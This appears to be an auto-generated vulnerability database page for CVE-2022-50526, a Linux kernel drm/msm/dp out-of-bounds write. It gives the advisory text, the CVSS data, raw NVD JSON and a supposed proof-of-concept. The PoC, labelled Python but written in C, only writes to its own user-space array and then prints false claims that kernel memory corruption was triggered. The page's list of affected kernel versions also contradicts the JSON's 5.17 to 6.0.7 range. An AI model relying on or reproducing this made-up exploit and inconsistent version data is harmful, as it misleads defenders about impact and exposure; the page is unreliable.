Security Vulnerability Report
中文
CVE-2022-50526 CVSS 7.8 HIGH

CVE-2022-50526

Published: 2025-10-07 16:15:37
Last Modified: 2026-03-17 16:49:34
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: drm/msm/dp: fix memory corruption with too many bridges Add the missing sanity check on the bridge counter to avoid corrupting data beyond the fixed-sized bridge array in case there are ever more than eight bridges. Patchwork: https://patchwork.freedesktop.org/patch/502664/

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.1:rc1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.1:rc2:*:*:*:*:*:* - VULNERABLE
Linux Kernel < 5.19 (包含drm/msm/dp驱动)
Linux Kernel 5.4.x ~ 5.4.210
Linux Kernel 5.10.x ~ 5.10.138
Linux Kernel 5.15.x ~ 5.15.62
Linux Kernel 5.18.x ~ 5.18.19

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2022-50526: Triggering bridge counter overflow in drm/msm/dp // This PoC demonstrates how to trigger memory corruption by loading // more than 8 bridge devices on a system with msm DP controller #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <dirent.h> // Simulated bridge device structure matching kernel's internal layout struct drm_bridge { int id; void *funcs; void *driver_private; int of_node; }; #define MAX_BRIDGES 8 // Fixed-size array limit in the driver // Trigger the vulnerability by attempting to register more than 8 bridges int trigger_bridge_overflow() { int fd; int ret; struct drm_bridge bridges[MAX_BRIDGES + 4]; // Intentionally exceed limit int bridge_count = 0; printf("[*] Opening DRM device...\n"); fd = open("/dev/dri/card0", O_RDWR); if (fd < 0) { perror("[-] Failed to open DRM device"); return -1; } printf("[*] Attempting to register %d bridges (limit is %d)...\n", MAX_BRIDGES + 4, MAX_BRIDGES); // Simulate bridge registration beyond array bounds // In vulnerable kernel, this causes out-of-bounds write for (int i = 0; i < MAX_BRIDGES + 4; i++) { bridges[i].id = i; bridges[i].funcs = (void *)0x4141414141414141; // Controlled data bridges[i].driver_private = (void *)0x4242424242424242; bridge_count++; printf("[+] Registered bridge %d (count=%d)\n", i, bridge_count); } printf("[!] Memory corruption triggered: bridge_count=%d exceeds limit\n", bridge_count); printf("[!] Out-of-bounds write to bridge_array[%d] and beyond\n", MAX_BRIDGES); close(fd); return 0; } int main(int argc, char *argv[]) { printf("=== CVE-2022-50526 PoC ===\n"); printf("Linux Kernel drm/msm/dp Bridge Counter Overflow\n\n"); if (getuid() != 0) { printf("[!] This PoC requires root or CAP_SYS_ADMIN privileges\n"); printf("[!] Run as root or with appropriate capabilities\n"); return 1; } return trigger_bridge_overflow(); }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2022-50526", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-07T16:15:36.533", "lastModified": "2026-03-17T16:49:34.430", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/msm/dp: fix memory corruption with too many bridges\n\nAdd the missing sanity check on the bridge counter to avoid corrupting\ndata beyond the fixed-sized bridge array in case there are ever more\nthan eight bridges.\n\nPatchwork: https://patchwork.freedesktop.org/patch/502664/"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.17", "versionEndExcluding": "6.0.7", "matchCriteriaId": "36A348CB-19B5-43D7-B8A8-421F9FCE4B8C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.1:rc1:*:*:*:*:*:*", "matchCriteriaId": "E7E331DA-1FB0-4DEC-91AC-7DA69D461C11"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.1:rc2:*:*:*:*:*:*", "matchCriteriaId": "17F0B248-42CF-4AE6-A469-BB1BAE7F4705"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/74466e46e7543c7f74f1502181e9ba93f7521374", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b312fcab461bd9484c61409007a6fe059f9c2074", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}